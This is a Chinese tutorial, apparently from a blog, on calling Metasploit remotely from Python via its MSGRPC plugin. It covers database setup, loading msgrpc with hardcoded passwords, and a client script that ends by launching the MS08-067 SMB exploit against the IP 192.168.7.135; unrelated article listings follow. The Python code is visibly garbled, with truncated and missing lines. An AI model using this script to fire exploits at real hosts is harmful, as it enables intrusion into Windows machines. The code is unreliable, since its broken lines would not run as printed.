(1)安装Python的msgpack类库。MSF官方文档中的数据序列化标准就是參照msgpack。

root@kali:~# apt-get install python-setuptools

root@kali:~# easy_install msgpack-python

(2)创建createdb_sql.txt:

create database msf;

create user msf with password 'msf123';

grant all privileges on database msf to msf;

(3)在PostgreSQL 运行上述文件:

root@kali:~# /etc/init.d/postgresql start

root@kali:~# sudo -u postgres /usr/bin/psql < createdb_sql.txt

(4)创建setup.rc文件

db_connect msf:msf123@127.0.0.1/msf

load msgrpc User=msf Pass='abc123'

(5)启动MSF并运行加载文件

root@kali:~# msfconsole -r setup.rc

* SNIP *

[*] Processing setup.rc for ERB directives.

resource (setup.rc)> db_connect msf:msf123@127.0.0.1/msf

[*] Rebuilding the module cache in the background...

resource (setup.rc)> load msgrpc User=msf Pass='abc123'

[*] MSGRPC Service:  127.0.0.1:55552

[*] MSGRPC Username: msf

[*] MSGRPC Password: abc123

[*] Successfully loaded plugin: msgrpc

(6)Github上有一个Python的类库,只是非常不好用

root@kali:~# git clone git://github.com/SpiderLabs/msfrpc.git msfrpc

root@kali:~# cd msfrpc/python-msfrpc

root@kali:~# python setup.py install

測试代码:

#!/usr/bin/env python

import msgpack

import httplib

class Msfrpc:

class MsfError(Exception):

def __init__(self,msg):

self.msg = msg

def __str__(self):

return repr(self.msg)

class MsfAuthError(MsfError):

def __init__(self,msg):

self.msg = msg

def __init__(self,opts=[]):

self.host = opts.get('host') or "127.0.0.1"

self

self.uri = opts.get('uri') or "/api/"

self.ssl = opts.get('ssl') or False

self.authenticated = False

self.token = False

self.headers = {"Content-type" : "binary/message-pack" }

if self.ssl:

self.client = httplib.HTTPSConnection(self.host,self.port)

else:

self.client = httplib.HTTPConnection(self.host,self.port)

def encode(self,data):

return msgpack.packb(data)

def decode(self,data):

return msgpack.unpackb(data)

def call(self,meth,opts = []):

if meth != "auth.login":

if not self.authenticated:

raise self.MsfAuthError("MsfRPC: Not Authenticated")

if meth != "auth.login":

opts,self.token)

opts,meth)

params = self.encode(opts)

self.client.request("POST",self.uri,params,self.headers)

resp = self.client.getresponse()

return self.decode(resp.read())

def login(self,user,password):

ret = self.call('auth.login',[user,password])

if ret.get('result') == 'success':

self.authenticated = True

self.token = ret.get('token')

return True

else:

raise self.MsfAuthError("MsfRPC: Authentication failed")

if __name__ == '__main__':

# Create a new instance of the Msfrpc client with the default options

client = Msfrpc({})

# Login to the msfmsg server using the password "abc123"

client.login('msf','abc123')

# Get a list of the exploits from the server

mod = client.call('module.exploits')

# Grab the first item from the modules value of the returned dict

]

# Get the list of compatible payloads for the first option

ret ]])

for i in (ret.get('payloads')):

print "\t%s" % i

Console方式调用Ms08067漏洞

if __name__ == '__main__':

# Create a new instance of the Msfrpc client with the default options

client = Msfrpc({})

# Login to the msfmsg server using the password "abc123"

client.login('msf','abc123')

try:

res = client.call('console.create')

console_id = res['id']

except:

print "Console create failed\r\n"

sys.exit()

host_list = '192.168.7.135'

cmd = """use exploit/windows/smb/ms08_067_netapi

set RHOST 192.168.7.135

exploit

"""

client.call('console.write',[console_id,cmd])

time.sleep(1)

while True:

res = client.call('console.read',[console_id])

if len(res['data']) > 1:

print res['data'],

if res['busy'] == True:

time.sleep(1)

continue

break

client.call('console.destroy',[console_id])

Python 远程调用MetaSploit的更多相关文章

  1. Testlink接口使用方法-python语言远程调用

    deepin@deepin-pc:~/test$ cat libclienttestlink.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- #! ...

  2. 【转】Python中实现远程调用(RPC、RMI)简单例子

    远程调用使得调用远程服务器的对象.方法的方式就和调用本地对象.方法的方式差不多,因为我们通过网络编程把这些都隐藏起来了.远程调用是分布式系统的基础. 远程调用一般分为两种,远程过程调用(RPC)和远程 ...

  3. python调用metasploit里的MS-17-010模块进行漏洞攻击

    起因:看各位大佬们写的shellcode厉害的一匹,可惜自己没学C和汇编 也看不懂shellcode,只能写一个调用metasploit里的模块进行攻击了. 0x01 攻击机:192.168.223. ...

  4. Metasploit远程调用Nessus出错

    Metasploit远程调用Nessus出错   从Nessus 7.1开始,Metaspliot远程调用Nessus创建新的扫描任务,会出现以下错误信息:   [*] New scan added ...

  5. Python中实现远程调用(RPC、RMI)简单例子

    说白了,远程调用就是将对象名.函数名.参数等传递给远程服务器,服务器将处理结果返回给客户端   远程调用使得调用远程服务器的对象.方法的方式就和调用本地对象.方法的方式差不多,因为我们通过网络编程把这 ...

  6. JSON-RPC轻量级远程调用协议介绍及使用

    这个项目能够帮助开发人员利用Java编程语言轻松实现JSON-RPC远程调用.jsonrpc4j使用Jackson类库实现Java对象与JSON对象之间的相互转换.jsonrpc4j包含一个JSON- ...

  7. (转)RabbitMQ消息队列(七):适用于云计算集群的远程调用(RPC)

    在云计算环境中,很多时候需要用它其他机器的计算资源,我们有可能会在接收到Message进行处理时,会把一部分计算任务分配到其他节点来完成.那么,RabbitMQ如何使用RPC呢?在本篇文章中,我们将会 ...

  8. Python远程视频监控

    Python远程视频监控程序   老板由于事务繁忙无法经常亲临教研室,于是让我搞个监控系统,让他在办公室就能看到教研室来了多少人.o(>﹏<)o||| 最初我的想法是直接去网上下个软件,可 ...

  9. java 远程调用 RPC

    1. 概念 RPC,全称为Remote Procedure Call,即远程过程调用,它是一个计算机通信协议.它允许像调用本地服务一样调用远程服务.它可以有不同的实现方式.如RMI(远程方法调用).H ...

随机推荐

  1. PCB MongoDb安装与Windows服务安装

    工程MI流程指示做成Web网页形式,采用MVC框架制作,数据传输用Web API方式, 最终此网页会挂到公司各系统中访问,为了提高访问并发量,并将工程数据统一结构化管理, 采用No SQL Mongo ...

  2. PCB MS SQL 排序应用---相邻数据且相同合并处理

    这是一个很有趣SQL数据处理应用,具体需求如下 ERP需要工程将物料编码相邻的编码合并求和BOM用量,巧妙的用到了已有排序号与分组排序号之间的差值求解 示例: 原数据: 要求转换: 实际转换后数据: ...

  3. Mysql数据库系列

    详情点击 MySQL基础 Mysql表操作 Mysql插入 更新 删除 查询操作 Mysql创建用户和授权 基本的Mysql语句 Mysql库的操作 Mysql表的操作 Mysql数据类型(一) My ...

  4. T - Amusing Joke(map)

    Problem description So, the New Year holidays are over. Santa Claus and his colleagues can take a re ...

  5. java Queue中 remove/poll, add/offer, element/peek区别

    offer,add区别: 一些队列有大小限制,因此如果想在一个满的队列中加入一个新项,多出的项就会被拒绝. 这时新的 offer 方法就可以起作用了.它不是对调用 add() 方法抛出一个 unche ...

  6. Android Unresolved Dependencies

    在Android Studio的开发中,在软件中集成了ButterKnife插件,另外需要集成ButterKnife的jar包.因为本地没有现成的,所以在module的build.gradle文件中添 ...

  7. Md2All,让公众号完美显示Latex数学公式

    当公众号遇上Latex 大家都知到,公众号连代码块都不支持,更不要说功能强大的Latex公式了.那在Md2All之前,如果想在公众号上显示Latex公式应该怎么办呢? 最通常的做法就是在某个支持Lat ...

  8. JavaScript中比较运算符的使用

    比较运算符的基本操作过程是:首先对操作数进行比较,这个操作数可以是数字也可以是字符串,然后返回一个布尔值true或false. 在JavaScript中常用的比较运算符如下表所示. 例如,某商场店庆搞 ...

  9. 5、scala数组转换

    1.使用yield和函数式编程转换数组 2.算法案例:移除第一个负数之后的所有负数 1.使用yield和函数式编程转换数组 使用yield进行数组转换 结合if守卫,仅转换需要转换的元素 使用函数式编 ...

  10. 利用jsonp进行Ajax跨域请求

    在进行Ajax请求的时候经常会遇到跨域的问题,这个时候一般就会用到jsonp. 关于json和jsonp,网上有很多原理解释,这里就不多赘述,需要的自行搜索. 下面是一个简单的ajax跨域请求示例: ...